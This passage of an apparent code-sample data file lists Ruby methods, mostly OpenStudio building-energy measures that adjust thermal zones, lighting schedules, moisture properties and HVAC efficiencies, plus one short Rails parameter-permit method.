|unit_num_per_floor|\n (1..building_num_floors).to_a.each do |building_floor|\n\n unit_num = unit_num_per_floor + (num_units_per_floor * (building_floor - 1))\n \n if not has_rear_units\n \n zone_names_for_multiplier_adjustment = [] \n space_names_to_remove = []\n unit_spaces = unit_hash[unit_num].spaces\n if unit_num == 1 + (num_units_per_floor * (building_floor - 1)) # leftmost unit\n elsif unit_num == 2 + (num_units_per_floor * (building_floor - 1)) # leftmost interior unit\n unit_spaces.each do |space|\n thermal_zone = space.thermalZone.get\n zone_names_for_multiplier_adjustment << thermal_zone.name.to_s\n end\n model.getThermalZones.each do |thermal_zone|\n zone_names_for_multiplier_adjustment.each do |tz|\n if thermal_zone.name.to_s == tz\n thermal_zone.setMultiplier(num_units_per_floor - 2)\n end\n end\n end\n elsif unit_num < building_floor * num_units_per_floor # interior units that get removed\n unit_spaces.each do |space|\n space_names_to_remove << space.name.to_s\n end\n unit_hash[unit_num].remove\n model.getSpaces.each do |space|\n space_names_to_remove.each do |s|\n if space.name.to_s == s\n if space.thermalZone.is_initialized\n space.thermalZone.get.remove\n end\n space.remove\n end\n end\n end\n end \n \n else # has rear units\n\n zone_names_for_multiplier_adjustment = []\n space_names_to_remove = []\n unit_spaces = unit_hash[unit_num].spaces\n if unit_num == 1 + (num_units_per_floor * (building_floor - 1)) or unit_num == 2 + (num_units_per_floor * (building_floor - 1)) # leftmost units\n elsif unit_num == 3 + (num_units_per_floor * (building_floor - 1)) or unit_num == 4 + (num_units_per_floor * (building_floor - 1)) # leftmost interior units\n unit_spaces.each do |space|\n thermal_zone = space.thermalZone.get\n zone_names_for_multiplier_adjustment << thermal_zone.name.to_s\n end\n model.getThermalZones.each do |thermal_zone|\n zone_names_for_multiplier_adjustment.each do |tz|\n if thermal_zone.name.to_s == tz\n thermal_zone.setMultiplier(num_units_per_floor / 2 - 2)\n end\n end\n end\n elsif unit_num != (building_floor * num_units_per_floor) - 1 and unit_num != building_floor * num_units_per_floor # interior units that get removed\n unit_spaces.each do |space|\n space_names_to_remove << space.name.to_s\n end\n unit_hash[unit_num].remove\n model.getSpaces.each do |space|\n space_names_to_remove.each do |s|\n if space.name.to_s == s\n if space.thermalZone.is_initialized\n space.thermalZone.get.remove\n end\n space.remove\n end\n end\n end\n end\n \n end\n end # end building floor\n end # end unit per floor\n end # end zone mult\n \n if use_floor_mult and building_num_floors > 3\n \n floor_zs = []\n model.getSurfaces.each do |surface|\n next unless surface.surfaceType.downcase == \"floor\"\n floor_zs << Geometry.getSurfaceZValues([surface])[0]\n end\n floor_zs = floor_zs.uniq.sort.select{|x| x >= 0}\n \n floor_zs[2..-2].each do |floor_z|\n units_to_remove = []\n model.getBuildingUnits.each do |unit|\n unit.spaces.each do |space|\n next unless floor_z == Geometry.get_space_floor_z(space)\n next if units_to_remove.include? unit\n units_to_remove << unit\n end\n end\n units_to_remove.each do |unit|\n unit.spaces.each do |space|\n if space.thermalZone.is_initialized\n space.thermalZone.get.remove\n end\n space.remove\n end\n unit.remove\n end \n end\n \n model.getBuildingUnits.each do |unit|\n unit.spaces.each do |space|\n next unless floor_zs[1] == Geometry.get_space_floor_z(space)\n thermal_zone = space.thermalZone.get\n thermal_zone.setMultiplier(thermal_zone.multiplier * (building_num_floors - 2))\n end\n end\n \n end # end floor mult\n \n # make all surfaces adjacent to corridor spaces into adiabatic surfaces\n model.getSpaces.each do |space|\n next unless space.name.to_s.include? Constants.CorridorSpace\n space.surfaces.each do |surface|\n if surface.adjacentSurface.is_initialized\n surface.adjacentSurface.get.setOutsideBoundaryCondition(\"Adiabatic\")\n end\n surface.setOutsideBoundaryCondition(\"Adiabatic\")\n end\n end\n \n model.getSurfaces.each do |surface|\n next unless surface.outsideBoundaryCondition.downcase == \"surface\"\n next if surface.adjacentSurface.is_initialized\n surface.setOutsideBoundaryCondition(\"Adiabatic\")\n end\n \n # Store number of units\n model.getBuilding.setStandardsNumberOfLivingUnits(num_units)\n \n # Store number of stories\n model.getBuilding.setStandardsNumberOfAboveGroundStories(building_num_floors)\n if foundation_type == Constants.UnfinishedBasementFoundationType\n building_num_floors += 1\n end\n model.getBuilding.setStandardsNumberOfStories(building_num_floors)\n \n # Store the building type\n model.getBuilding.setStandardsBuildingType(Constants.BuildingTypeMultifamily)\n \n # reporting final condition of model\n runner.registerFinalCondition(\"The building finished with #{model.getSpaces.size} spaces.\") \n \n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n user_name = runner.getStringArgumentValue(\"user_name\",user_arguments)\n add_space = runner.getBoolArgumentValue(\"add_space\",user_arguments)\n\n #check the user_name for reasonableness\n if user_name == \"\"\n runner.registerError(\"No Name was Entered.\")\n return false\n end \n \n #ruby test to see if first charter of string is uppercase letter\n if not user_name[0..0] =~ /[A-Z]/ \n runner.registerWarning(\"Your entered name was not capitalized.\") \n end\n \n #returning the name in an a sentence\n runner.registerInfo(\"Hello #{user_name}, thanks for entering your name.\")\n\n #reporting initial condition of model\n starting_spaces = model.getSpaces\n runner.registerInitialCondition(\"The building started with #{starting_spaces.size} spaces.\")\n\n #adding a new space to the model\n if add_space == true\n new_space = OpenStudio::Model::Space.new(model)\n new_space.setName(\"Hello_World test space\")\n runner.registerInfo(\"Space #{new_space.name} was added.\")\n \n else\n runner.registerAsNotApplicable(\"You have chosen not to add a space. Your model will not be altered.\")\n return true\n end\n\n #reporting final condition of model\n finishing_spaces = model.getSpaces\n runner.registerFinalCondition(\"The building finished with #{finishing_spaces.size} spaces.\")\n \n return true\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n option_type = runner.getStringArgumentValue('option_type', user_arguments)\n hw_cfl = runner.getDoubleArgumentValue('hw_cfl', user_arguments)\n hw_led = runner.getDoubleArgumentValue('hw_led', user_arguments)\n hw_lfl = runner.getDoubleArgumentValue('hw_lfl', user_arguments)\n pg_cfl = runner.getDoubleArgumentValue('pg_cfl', user_arguments)\n pg_led = runner.getDoubleArgumentValue('pg_led', user_arguments)\n pg_lfl = runner.getDoubleArgumentValue('pg_lfl', user_arguments)\n mult = runner.getDoubleArgumentValue('mult', user_arguments)\n in_eff = runner.getDoubleArgumentValue('in_eff', user_arguments)\n cfl_eff = runner.getDoubleArgumentValue('cfl_eff', user_arguments)\n led_eff = runner.getDoubleArgumentValue('led_eff', user_arguments)\n lfl_eff = runner.getDoubleArgumentValue('lfl_eff', user_arguments)\n energy_use_interior = runner.getDoubleArgumentValue('energy_use_interior', user_arguments)\n\n # Check for valid inputs\n if option_type == Constants.OptionTypeLightingFractions\n if (hw_cfl < 0) || (hw_cfl > 1)\n runner.registerError('Hardwired Fraction CFL must be greater than or equal to 0 and less than or equal to 1.')\n return false\n end\n if (hw_led < 0) || (hw_led > 1)\n runner.registerError('Hardwired Fraction LED must be greater than or equal to 0 and less than or equal to 1.')\n return false\n end\n if (hw_lfl < 0) || (hw_lfl > 1)\n runner.registerError('Hardwired Fraction LFL must be greater than or equal to 0 and less than or equal to 1.')\n return false\n end\n if hw_cfl + hw_led + hw_lfl > 1\n runner.registerError('Sum of CFL, LED, and LFL Hardwired Fractions must be less than or equal to 1.')\n return false\n end\n if (pg_cfl < 0) || (pg_cfl > 1)\n runner.registerError('Plugin Fraction CFL must be greater than or equal to 0 and less than or equal to 1.')\n return false\n end\n if (pg_led < 0) || (pg_led > 1)\n runner.registerError('Plugin Fraction LED must be greater than or equal to 0 and less than or equal to 1.')\n return false\n end\n if (pg_lfl < 0) || (pg_lfl > 1)\n runner.registerError('Plugin Fraction LFL must be greater than or equal to 0 and less than or equal to 1.')\n return false\n end\n if pg_cfl + pg_led + pg_lfl > 1\n runner.registerError('Sum of CFL, LED, and LFL Plugin Fractions must be less than or equal to 1.')\n return false\n end\n if mult < 0\n runner.registerError('Lamps used multiplier must be greater than or equal to 0.')\n return false\n end\n if in_eff <= 0\n runner.registerError('Incandescent Efficacy must be greater than 0.')\n return false\n end\n if cfl_eff <= 0\n runner.registerError('CFL Efficacy must be greater than 0.')\n return false\n end\n if led_eff <= 0\n runner.registerError('LED Efficacy must be greater than 0.')\n return false\n end\n if lfl_eff <= 0\n runner.registerError('LFL Efficacy must be greater than 0.')\n return false\n end\n elsif option_type == Constants.OptionTypeLightingEnergyUses\n if energy_use_interior < 0\n runner.registerError(\"#{Constants.OptionTypeLightingEnergyUses}: Interior must be greater than or equal to 0.\")\n return false\n end\n end\n\n # Get building units\n units = Geometry.get_building_units(model, runner)\n if units.nil?\n return false\n end\n\n # Calculate the lighting schedule\n weather = WeatherProcess.new(model, runner)\n if weather.error?\n return false\n end\n\n # Incandescent fractions\n hw_inc = 1 - hw_cfl - hw_led - hw_lfl\n pg_inc = 1 - pg_cfl - pg_led - pg_lfl\n\n Lighting.remove_interior(model, runner)\n\n schedules_file = SchedulesFile.new(runner: runner, model: model)\n if not schedules_file.validated?\n return false\n end\n\n tot_ltg_e = 0\n msgs = []\n sch = nil\n units.each do |unit|\n # Interior lighting\n unit_finished_spaces = Geometry.get_finished_spaces(unit.spaces)\n ffa = Geometry.get_finished_floor_area_from_spaces(unit.spaces, runner)\n if ffa.nil?\n return false\n end\n\n if option_type == Constants.OptionTypeLightingEnergyUses\n interior_ann = energy_use_interior\n elsif option_type == Constants.OptionTypeLightingFractions\n hw_fl = hw_cfl + hw_lfl\n fl_eff = cfl_eff\n\n # Efficacy ratios\n eff_ratio_inc = in_eff / in_eff\n eff_ratio_fl = in_eff / fl_eff\n eff_ratio_led = in_eff / led_eff\n\n # Efficiency lighting adjustments\n int_adj = (hw_inc * eff_ratio_inc) + (hw_fl * eff_ratio_fl) + (hw_led * eff_ratio_led)\n # Calculate energy use\n interior_ann = mult * ((0.9 / 0.925 * (455.0 + 0.8 * ffa) * int_adj) + (0.1 * (455.0 + 0.8 * ffa)))\n end\n\n success, sch = Lighting.apply_interior(model, unit, runner, weather, sch, interior_ann, schedules_file)\n return false if not success\n\n msgs << \"Lighting with #{interior_ann.round} kWhs annual energy consumption has been assigned to unit '#{unit.name}'.\"\n tot_ltg_e += interior_ann\n end\n\n schedules_file.set_vacancy(col_name: 'lighting_interior')\n\n # reporting final condition of model\n if msgs.size > 1\n msgs.each do |msg|\n runner.registerInfo(msg)\n end\n runner.registerFinalCondition(\"The building has been assigned interior lighting totaling #{tot_ltg_e.round} kWhs annual energy consumption across #{units.size} units.\")\n elsif msgs.size == 1\n runner.registerFinalCondition(msgs[0])\n else\n runner.registerFinalCondition('No interior lighting has been assigned.')\n end\n\n return true\n end",
"def run_params\n params.require(:run).permit(:product_id, :login, :password, :heroku_netrc, :scale, :from_code, :envvars, :gear_profile_id, :app_type_id, :addon_id, :broker, :requestcount, :concurrency, :duration_threshold, :rundockerservers_attributes => [:dockerserver_id, :image_id, :jobcount])\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # can be user input argument in future\n space_type_selected = 'ResPublicArea'\n skip_end_use = 'Elevator'\n\n # model get standards space types\n model.getSpaceTypes.each do |space_type|\n next unless space_type.standardsSpaceType.is_initialized\n standards_space_type = space_type.standardsSpaceType.get\n next unless standards_space_type == space_type_selected\n runner.registerInfo(\"Setting lights and equipment to end use subcategory for space type '#{space_type.name}' with standards type '#{space_type_selected}'.\")\n space_type.lights.each do |light|\n unless light.endUseSubcategory.include? skip_end_use\n light.setEndUseSubcategory(space_type_selected)\n end\n end\n space_type.electricEquipment.each do |equip|\n unless equip.endUseSubcategory.include? skip_end_use\n equip.setEndUseSubcategory(space_type_selected)\n end\n end\n end\n\n # check individual spaces and set loads\n model.getSpaces.each do |space|\n next unless space.spaceType.is_initialized\n space_type = space.spaceType.get\n next unless space_type.standardsSpaceType.is_initialized\n standards_space_type = space_type.standardsSpaceType.get\n next unless standards_space_type == space_type_selected\n runner.registerInfo(\"Space '#{space.name}' has standards type '#{space_type_selected}'. Setting lights and equipment to end use subcategory.\")\n space.lights.each do |light|\n unless light.endUseSubcategory.include? skip_end_use\n light.setEndUseSubcategory(space_type_selected)\n end\n end\n space.electricEquipment.each do |equip|\n unless equip.endUseSubcategory.include? skip_end_use\n equip.setEndUseSubcategory(space_type_selected)\n end\n end\n end\n\n # Report final condition of model\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n selected_material = runner.getStringArgumentValue('selected_material', user_arguments)\n water_diff_fact = runner.getDoubleArgumentValue('water_diff_fact', user_arguments)\n coef_a = runner.getDoubleArgumentValue('coef_a', user_arguments)\n coef_b = runner.getDoubleArgumentValue('coef_b', user_arguments)\n coef_c = runner.getDoubleArgumentValue('coef_c', user_arguments)\n coef_d = runner.getDoubleArgumentValue('coef_d', user_arguments)\n surface_penetration = runner.getStringArgumentValue('surface_penetration', user_arguments)\n surface_penetration = surface_penetration.to_f\n deep_penetration = runner.getStringArgumentValue('deep_penetration', user_arguments)\n deep_penetration = deep_penetration.to_f\n coating = runner.getDoubleArgumentValue('coating', user_arguments)\n coating_res = runner.getDoubleArgumentValue('coating_res', user_arguments)\n algorithm = runner.getStringArgumentValue('algorithm', user_arguments)\n\n #---------------------------------------------------------------------------\n # Validate arguments\n if water_diff_fact == 0\n runner.registerError('The Water Vapor Diffusion Resistance Factor needs to be greater than 0.')\n return false\n end\n if coef_a == 0\n runner.registerWarning('The Moisture Equation Coefficient A has been left as 0. This is usally a non-zero value.')\n end\n if coef_b == 0\n runner.registerWarning('The Moisture Equation Coefficient B has been left as 0. This is usally a non-zero value.')\n end\n if coef_c == 0\n runner.registerWarning('The Moisture Equation Coefficient C has been left as 0. This is usally a non-zero value.')\n end\n if coef_d == 0\n runner.registerWarning('The Moisture Equation Coefficient D has been left as 0. This is usally a non-zero value.')\n end\n #---------------------------------------------------------------------------\n\n # Get os object for selected material\n mats = model.getStandardOpaqueMaterials\n mat = ''\n mats.each do |m|\n if m.name.to_s == selected_material\n mat = m\n end\n end\n\n # report initial condition of model\n runner.registerInitialCondition(\"The building has #{mats.size} materials.\")\n\n #---------------------------------------------------------------------------\n # Set algorithm and report to users\n if algorithm != ''\n alg = model.getHeatBalanceAlgorithm\n alg.setAlgorithm(algorithm)\n runner.registerInfo(\"Heat Balance Algorithm Set to : #{algorithm}\")\n end\n #---------------------------------------------------------------------------\n\n # Add moisture properties object and make changes to model\n n = OpenStudio::Model::MaterialPropertyMoisturePenetrationDepthSettings.new(\n mat, water_diff_fact, coef_a, coef_b, coef_c, coef_d, coating, coating_res\n )\n\n # check if the surface penetration is being autocalculated, and if not set the depth\n if surface_penetration > 0\n n.setSurfaceLayerPenetrationDepth(surface_penetration)\n runner.registerInfo(\"Surface layer penetration depth set to: #{surface_penetration}\")\n else\n n.autocalculateSurfaceLayerPenetrationDepth\n runner.registerInfo('Surface layer penetration depth set to: AutoCalculate')\n end\n\n # check if the deep penetration is being autocalculated, and if not set the depth\n if deep_penetration > 0\n n.setDeepLayerPenetrationDepth(deep_penetration)\n runner.registerInfo(\"Deep layer penetration depth set to: #{surface_penetration}\")\n else\n n.autocalculateDeepLayerPenetrationDepth\n runner.registerInfo('Deep layer penetration depth set to: AutoCalculate')\n end\n\n # report final condition of model\n runner.registerFinalCondition(\"Moisture properties were added to #{selected_material}.\")\n\n return true\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # Make integer arg to run measure [1 is run, 0 is no run]\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n run_measure.setDisplayName(\"Run Measure\")\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n run_measure.setDefaultValue(1)\n args << run_measure\n\n # make an argument for fractional value during specified time\n pct_red = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"pct_red\",true)\n pct_red.setDisplayName(\"Percent Daytime Lighting Runtime Fraction Reduction\")\n pct_red.setDefaultValue(50.0)\n args << pct_red\n\n # start time\n start_hr = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"start_hr\",true)\n start_hr.setDisplayName(\"Time to start reduction\")\n start_hr.setUnits(\"24hr, use decimal for sub hour\")\n start_hr.setDefaultValue(9.0)\n args << start_hr\n\n # end time\n end_hr = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"end_hr\",true)\n end_hr.setDisplayName(\"Time to end reduction\")\n end_hr.setUnits(\"24hr, use decimal for sub hour\")\n end_hr.setDefaultValue(16.0)\n args << end_hr\n\n return args\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\n pct_red = runner.getDoubleArgumentValue(\"pct_red\",user_arguments)\n start_hr = runner.getDoubleArgumentValue(\"start_hr\",user_arguments)\n end_hr = runner.getDoubleArgumentValue(\"end_hr\",user_arguments)\n \n\n\n #check the fraction for reasonableness\n if not 0 <= pct_red and pct_red <= 100\n runner.registerError(\"Percent reduction value needs to be between 0 and 100.\")\n return false\n end\n\n #check start_hr for reasonableness and round to 15 minutes\n start_red_hr = nil\n start_red_min = nil\n if not 0 <= start_hr and start_hr <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24\")\n return false\n else\n rounded_start_hr = ((start_hr*4).round)/4.0\n if not start_hr == rounded_start_hr\n runner.registerInfo(\"Start time rounded to nearest 15 minutes: #{rounded_start_hr}\")\n end\n start_red_hr = rounded_start_hr.truncate\n start_red_min = (rounded_start_hr - start_red_hr)*60\n start_red_min = start_red_min.to_i\n end\n\n #check end_hr for reasonableness and round to 15 minutes\n end_red_hr = nil\n end_red_min = nil \n if not 0 <= end_hr and end_hr <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24.\")\n return false\n elsif end_hr > end_hr\n runner.registerError(\"Please enter an end time later in the day than end time.\")\n return false\n else\n rounded_end_hr = ((end_hr*4).round)/4.0\n if not end_hr == rounded_end_hr\n runner.registerInfo(\"End time rounded to nearest 15 minutes: #{rounded_end_hr}\")\n end\n end_red_hr = rounded_end_hr.truncate\n end_red_min = (rounded_end_hr - end_red_hr)*60\n end_red_min = end_red_min.to_i\n end\n\n # Translate the percent reduction into a multiplier\n red_mult = pct_red/100\n\n # Get schedules from all lights.\n original_lights_schs = []\n model.getLightss.each do |lights|\n if lights.schedule.is_initialized\n lights_sch = lights.schedule.get\n original_lights_schs << lights_sch\n end\n end\n\n # loop through the unique list of lights schedules, cloning\n # and reducing schedule fraction during the specified time range.\n original_lights_schs_new_schs = {}\n original_lights_schs.uniq.each do |lights_sch|\n if lights_sch.to_ScheduleRuleset.is_initialized\n new_lights_sch = lights_sch.clone(model).to_ScheduleRuleset.get\n new_lights_sch.setName(\"#{lights_sch.name} with Solar Cogeneration and Daylighting\")\n original_lights_schs_new_schs[lights_sch] = new_lights_sch\n new_lights_sch = new_lights_sch.to_ScheduleRuleset.get\n \n # method to adjust the values in a day schedule by a \n # specified percentage during a range of hours.\n def reduce_schedule(day_sch, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n start_time = OpenStudio::Time.new(0, start_red_hr, start_red_min, 0)\n end_time = OpenStudio::Time.new(0, end_red_hr, end_red_min, 0)\n\n # Get the original values at the desired start and end times\n # and put points into the schedule at those times.\n day_sch.addValue(start_time, day_sch.getValue(start_time))\n day_sch.addValue(end_time, day_sch.getValue(end_time))\n \n # Store the original time/values then clear the schedule\n times = day_sch.times\n values = day_sch.values\n day_sch.clearValues\n\n # Modify the time/values and add back to the schedule\n for i in 0..(values.length - 1)\n if times[i] > start_time and times[i] <= end_time # Inside range\n day_sch.addValue(times[i], values[i] * red_mult)\n else\n day_sch.addValue(times[i], values[i])\n end\n end\n\n end #end reduce schedule\n\n # Reduce default day schedule\n if new_lights_sch.scheduleRules.size == 0\n runner.registerWarning(\"Schedule '#{new_lights_sch.name}' applies to all days. It has been treated as a Weekday schedule.\")\n end\n reduce_schedule(new_lights_sch.defaultDaySchedule, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n \n # Reduce all other schedule rules\n new_lights_sch.scheduleRules.each do |sch_rule|\n reduce_schedule(sch_rule.daySchedule, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n end\n \n end \n end #end of original_lights_schs.uniq.each do\n\n #loop through all lights instances, replacing old lights schedules with the reduced schedules\n model.getLightss.each do |lights|\n if lights.schedule.empty?\n runner.registerWarning(\"There was no schedule assigned for the lights object named '#{lights.name}. No schedule was added.'\")\n else\n old_lights_sch = lights.schedule.get\n lights.setSchedule(original_lights_schs_new_schs[old_lights_sch])\n runner.registerInfo(\"Schedule for the lights object named '#{lights.name}' was reduced to simulate the application of Solar Cogeneration and Daylighting.\")\n end\n end\n\n # NA if the model has no lights\n if model.getLightss.size == 0\n runner.registerNotAsApplicable(\"Not Applicable - There are no lights in the model.\")\n end\n\n # Reporting final condition of model\n runner.registerFinalCondition(\"#{original_lights_schs.uniq.size} schedule(s) were edited to reflect the addition of Solar Cogeneration and Daylighting to the building.\")\n \n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n unless runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n template = runner.getStringArgumentValue(\"template\",user_arguments)\n bldg_type = runner.getStringArgumentValue(\"bldg_type\",user_arguments)\n\n lpd_change_rate = @@calibrate_factors[template][bldg_type]['lpd_change_rate']\n epd_change_rate = @@calibrate_factors[template][bldg_type]['epd_change_rate']\n occupancy_change_rate = @@calibrate_factors[template][bldg_type]['occupancy_change_rate']\n cop_change_rate = @@calibrate_factors[template][bldg_type]['cop_change_rate']\n heating_efficiency_change_rate = @@calibrate_factors[template][bldg_type]['heating_efficiency_change_rate']\n\n #report initial condition\n building = model.getBuilding\n initial_lpd = building.lightingPowerPerFloorArea # W/m^2\n initial_epd = building.electricEquipmentPowerPerFloorArea # W/m^2\n initial_occupancy = building.peoplePerFloorArea # people/m^2\n\n runner.registerValue('lpd_change_rate', lpd_change_rate.to_s)\n runner.registerValue('epd_change_rate', epd_change_rate.to_s)\n runner.registerValue('occupancy_change_rate', occupancy_change_rate.to_s)\n runner.registerValue('cop_change_rate', cop_change_rate.to_s)\n runner.registerValue('heating_efficiency_change_rate', heating_efficiency_change_rate.to_s)\n runner.registerValue('initial_lpd', initial_lpd.round(3).to_s)\n runner.registerValue('initial_epd', initial_epd.round(3).to_s)\n runner.registerValue('initial_occupancy', initial_occupancy.round(3).to_s)\n\n space_types = model.getSpaceTypes\n # loop through space types\n space_types.each do |space_type|\n # Update lighting power density\n space_type.lights.each do |light|\n light_def = light.lightsDefinition\n unless light_def.lightingLevel.empty?\n light_def.setLightingLevel((1 + lpd_change_rate) * light_def.lightingLevel.get)\n end\n\n unless light_def.wattsperSpaceFloorArea .empty?\n light_def.setWattsperSpaceFloorArea((1 + lpd_change_rate) * light_def.wattsperSpaceFloorArea.get)\n end\n\n unless light_def.wattsperPerson.empty?\n light_def.setWattsperPerson((1 + lpd_change_rate) * light_def.wattsperPerson.get)\n end\n end\n\n # Update the equipment power density\n space_type.electricEquipment .each do |equip|\n equip_def = equip.electricEquipmentDefinition\n unless equip_def.designLevel.empty?\n equip_def.setDesignLevel((1 + epd_change_rate) * equip_def.designLevel.get)\n end\n\n unless equip_def.wattsperSpaceFloorArea .empty?\n equip_def.setWattsperSpaceFloorArea((1 + epd_change_rate) * equip_def.wattsperSpaceFloorArea.get)\n end\n\n unless equip_def.wattsperPerson.empty?\n equip_def.setWattsperPerson((1 + epd_change_rate) * equip_def.wattsperPerson.get)\n end\n end\n\n # Update the occupancy density\n space_type.people.each do |people|\n people_def = people.peopleDefinition\n unless people_def.numberofPeople.empty?\n people_def.setNumberofPeople((1 + occupancy_change_rate) * people_def.numberofPeople.get)\n end\n\n unless people_def.peopleperSpaceFloorArea.empty?\n people_def.setPeopleperSpaceFloorArea((1 + occupancy_change_rate) * people_def.peopleperSpaceFloorArea.get)\n end\n\n unless people_def.spaceFloorAreaperPerson.empty?\n people_def.setSpaceFloorAreaperPerson(people_def.spaceFloorAreaperPerson.get/(1 + occupancy_change_rate))\n end\n end\n end\n\n # Update HVAC systems\n air_loops = model.getAirLoopHVACs\n\tplant_loops = model.getPlantLoops\n\n initial_cop_value = nil\n after_cop_value = nil\n double_after_cop = nil\n\n initial_eff_value = nil\n after_eff_value = nil\n\n # loop through air loops\n air_loops.each do |air_loop|\n find_cooling = false\n find_heating = false\n\n # find single speed dx units on loop\n air_loop.supplyComponents.each do |supply_component|\n hvac_component = supply_component.to_CoilCoolingDXSingleSpeed\n unless hvac_component.empty?\n hvac_component = hvac_component.get\n\n # change and report high speed cop\n initial_cop = hvac_component.ratedCOP\n if initial_cop.empty?\n raise \"Fail to find the Rated COP for single speed dx unit '#{hvac_component.name}' on air loop '#{air_loop.name}'\"\n else\n initial_cop_value = initial_cop.get\n after_cop_value = initial_cop_value * (1 + cop_change_rate)\n double_after_cop = OpenStudio::OptionalDouble.new(after_cop_value)\n\t\t\thvac_component.setRatedCOP(after_cop_value)\n find_cooling = true\n\t\t\traise \"Fail to find the cooling system for air lop '#{air_loop.name}'\" unless find_cooling\n end\n end\n\n hvac_component = supply_component.to_CoilCoolingDXTwoSpeed\n unless hvac_component.empty?\n hvac_component = hvac_component.get\n\n # change and report high speed cop\n initial_cop = hvac_component.ratedHighSpeedCOP\n if initial_cop.empty?\n raise \"Fail to find the Rated High Speed COP for two speed dx unit '#{hvac_component.name}' on air loop '#{air_loop.name}'\"\n else\n initial_cop_value = initial_cop.get\n after_cop_value = initial_cop_value * (1 + cop_change_rate)\n double_after_cop = OpenStudio::OptionalDouble.new(after_cop_value)\n\t\t\thvac_component.setRatedHighSpeedCOP(after_cop_value)\n end\n\n # change and report low speed cop\n initial_cop = hvac_component.ratedLowSpeedCOP\n if initial_cop.empty?\n raise \"Fail to find the Rated Low Speed COP for two speed dx unit '#{hvac_component.name}' on air loop '#{air_loop.name}'\"\n else\n initial_cop_value = initial_cop.get\n after_cop_value = initial_cop_value * (1 + cop_change_rate)\n double_after_cop = OpenStudio::OptionalDouble.new(after_cop_value)\n\t\t\thvac_component.setRatedLowSpeedCOP(after_cop_value)\n\t\t\t\n end\n\t \n find_cooling = true\n\t\t raise \"Fail to find the cooling system for air lop '#{air_loop.name}'\" unless find_cooling\n end\n\n hvac_component = supply_component.to_CoilHeatingGas\n unless hvac_component.empty?\n hvac_component = hvac_component.get\n initial_eff_value = hvac_component.gasBurnerEfficiency\n after_eff_value = initial_eff_value * (1 + heating_efficiency_change_rate)\n # check for reasonableness\n if after_eff_value <= 0 or after_eff_value > 0.99\n raise \"Wrong after heating efficiency found: initial (#{initial_eff_value}), change rate (#{heating_efficiency_change_rate}), after (#{after_eff_value}).\"\n end\n hvac_component.setGasBurnerEfficiency(after_eff_value)\n find_heating = true\n\t\t raise \"Fail to find the heating system for air lop '#{air_loop.name}'\" unless find_heating\n end\n end\n end\n\t\n\t# loop through plant loops\n plant_loops.each do |plant_loop|\n find_heating = false\n # find boiler on plat loop\n plant_loop.supplyComponents.each do |supply_component|\n\t\thvac_component = supply_component.to_BoilerHotWater\n unless hvac_component.empty?\n hvac_component = hvac_component.get\n \t\t initial_eff_value = hvac_component.nominalThermalEfficiency\n after_eff_value = initial_eff_value * (1 + heating_efficiency_change_rate)\n # check for reasonableness\n if after_eff_value <= 0 or after_eff_value > 0.99\n raise \"Wrong after heating efficiency found: initial (#{initial_eff_value}), change rate (#{heating_efficiency_change_rate}), after (#{after_eff_value}).\"\n end\n hvac_component.setNominalThermalEfficiency(after_eff_value)\n find_heating = true\n raise \"Fail to find the heating system for air lop '#{air_loop.name}'\" unless find_heating\n \tend\n\t end\n end\n\n runner.registerValue('initial_cop', initial_cop_value.round(3).to_s)\n runner.registerValue('after_cop', after_cop_value.round(3).to_s)\n runner.registerValue('initial_eff', initial_eff_value.round(3).to_s)\n runner.registerValue('after_eff', after_eff_value.round(3).to_s)\n\n # report final condition\n after_lpd = building.lightingPowerPerFloorArea\n after_epd = building.electricEquipmentPowerPerFloorArea\n after_occupancy = building.peoplePerFloorArea # people/m^2\n\n runner.registerValue('after_lpd', after_lpd.round(3).to_s)\n runner.registerValue('after_epd', after_epd.round(3).to_s)\n runner.registerValue('after_occupancy', after_occupancy.round(3).to_s)\n\n return true\n end",
